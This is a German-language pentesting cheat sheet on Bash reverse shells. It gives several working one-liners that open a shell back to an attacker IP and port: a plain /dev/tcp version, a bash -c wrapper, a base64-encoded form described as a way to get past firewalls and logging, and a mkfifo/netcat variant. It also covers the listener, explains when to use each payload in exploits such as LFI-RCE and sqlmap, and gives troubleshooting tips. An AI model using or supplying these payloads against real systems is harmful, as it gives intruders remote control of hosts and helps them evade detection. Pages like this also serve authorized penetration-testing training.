Bash Shells

Eine Bash Reverse Shell ermöglicht es, von einem kompromittierten Zielsystem aus eine Verbindung zurück zum Angreifer zu öffnen. Dabei wird Ein- und Ausgabe über eine Netzwerkverbindung umgeleitet – typischerweise per TCP. Das Zielsystem initiiert die Verbindung, wodurch Firewalls oder NAT-Regeln oft umgangen werden können.


Einfache Bash Reverse Shell

bash -i >& /dev/tcp/10.10.14.167/4444 0>&1

Erklärung:

  • bash -i: Startet eine interaktive Bash-Sitzung

  • >& /dev/tcp/...: Leitet stdout (Ausgabe) und stderr an den TCP-Socket weiter

  • 0>&1: Leitet stdin (Eingabe) an denselben Socket

Voraussetzungen:

  • Zielsystem muss /dev/tcp unterstützen (wird von Bash über eine Shell-interne Funktion bereitgestellt)

  • Der Angreifer muss einen Listener auf Port 4444 geöffnet haben (z. B. mit nc -lvnp 4444)


Einzeilige Variante für eingeschränkte Umgebungen

bash -c "bash -i >& /dev/tcp/10.10.14.167/4444 0>&1"

Wann verwenden?

  • Wenn du die Shell über einen Exploit startest, der nur einfache Befehle erlaubt (z. B. sqlmap --os-cmd, LFI-RCE, Webformulare)

  • Wenn die Zielumgebung nur ein Kommando akzeptiert (kein vollständiges Skript oder keine Mehrzeiligkeit möglich)


Base64-kodierte Variante

echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjcvNDQ0NCAwPiYxIiB8IGJhc2g= | base64 -d | bash

Warum verwenden?

  • Um Firewalls oder Logging-Systeme zu umgehen

  • Um nicht erlaubte Sonderzeichen (z. B. >, &) zu vermeiden

  • Häufig bei eingeschränkten Web-Shells oder bei Upload über Formularfelder


Bash über Named Pipes (Alternative Technik)

mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 10.10.14.167 4444 > /tmp/f

Vorteil:

  • Kompatibel mit Systemen, bei denen /dev/tcp/ nicht verfügbar ist

  • Nutzt stattdessen Named Pipes (mkfifo) zur Umleitung der Ein-/Ausgabe


Typische Probleme und Lösungen

Problem
Mögliche Ursache
Lösung oder Alternative

Keine Verbindung

Ziel kann nicht nach außen verbinden

Nutze Bind Shell oder Staging über HTTP

Kein Output in Shell

Kein interaktiver TTY

Mit script, python -c, stty nachhelfen

Befehl wird nicht akzeptiert

Shell akzeptiert nur einfache Kommandos

Nutze bash -c "..." oder Base64-Trick

Bash nicht vorhanden

Nur sh oder andere Shells installiert

Verwende alternative Shell-Reverse-Payloads

Last updated